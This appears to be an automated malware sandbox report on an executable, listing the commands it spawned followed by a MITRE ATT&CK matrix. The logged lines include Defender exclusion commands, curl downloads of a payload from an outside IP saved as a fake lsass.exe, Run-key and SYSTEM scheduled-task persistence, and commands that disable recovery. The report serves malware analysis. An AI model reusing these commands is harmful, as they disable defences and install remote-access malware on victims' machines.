        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'D:\'" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'"Jump to behavior
        Bypasses PowerShell execution policy
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping 8.8.8.8 -n 1Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net sessionJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -s -o u32y.bat https://rentry.co/i7zgdqy6/raw/Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 2 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanelNamespace" /t REG_DWORD /d 1 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Disable-ComputerRestore -Drive 'C:'; Enable-ComputerRestore -Drive 'C:'"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\ReAgentc.exe reagentc.exe /disableJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\attrib.exe attrib +h sshJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -s -o C:\Users\user\AppData\Local\Temp\lsass.exe "http://185.254.97.190:2024/download/XClient.exe"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\lsass.exe lsass.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "windows-app" /t REG_SZ /d "lsass.exe" /fJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /FJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /tn "winlogon" /tr "lsass.exe" /sc ONSTART /ru SYSTEM /f Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net sessionJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\'" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'D:\'" Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\lsass.exe lsass.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\icacls.exe icacls "C:\Windows\appcompat\ssh" /deny user:FJump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 sessionJump to behavior
        Source: C:\Windows\System32\net.exeProcess created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 sessionJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_00405573 GetVersionExW,GetVersionExW,0_2_00405573

        Mitre Att&ck Matrix

        ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
        Gather Victim Identity Information1
        Scripting        		Valid Accounts1
        Native API        		1
        Scripting        		1
        DLL Side-Loading        		1
        Disable or Modify Tools        		OS Credential Dumping1
        File and Directory Discovery        		Remote Services1
        Archive Collected Data        		1
        Web Service        		Exfiltration Over Other Network MediumAbuse Accessibility Features
        CredentialsDomainsDefault Accounts1
        Command and Scripting Interpreter        		1
        DLL Side-Loading        		11
        Process Injection        		1
        Obfuscated Files or Information        		LSASS Memory22
        System Information Discovery        		Remote Desktop ProtocolData from Removable Media1
        Ingress Tool Transfer        		Exfiltration Over BluetoothNetwork Denial of Service
        Email AddressesDNS ServerDomain Accounts1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		1
        Scheduled Task/Job        		1
        DLL Side-Loading        		Security Account Manager11
        Security Software Discovery        		SMB/Windows Admin SharesData from Network Shared Drive11
        Encrypted Channel        		Automated ExfiltrationData Encrypted for Impact
        Employee NamesVirtual Private ServerLocal Accounts1
        PowerShell        		21
        Registry Run Keys / Startup Folder        		21
        Registry Run Keys / Startup Folder        		1
        Masquerading        		NTDS1
        Process Discovery        		Distributed Component Object ModelInput Capture11
        Non-Standard Port        		Traffic DuplicationData Destruction
        Gather Victim Network InformationServerCloud AccountsLaunchd1
        Services File Permissions Weakness        		1
        Services File Permissions Weakness        		1
        Modify Registry        		LSA Secrets41
        Virtualization/Sandbox Evasion        		SSHKeylogging2
        Non-Application Layer Protocol        		Scheduled TransferData Encrypted for Impact
        Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts41
        Virtualization/Sandbox Evasion        		Cached Domain Credentials1
        Application Window Discovery        		VNCGUI Input Capture3
        Application Layer Protocol        		Data Transfer Size LimitsService Stop
        DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items11
        Process Injection        		DCSync1
        Remote System Discovery        		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
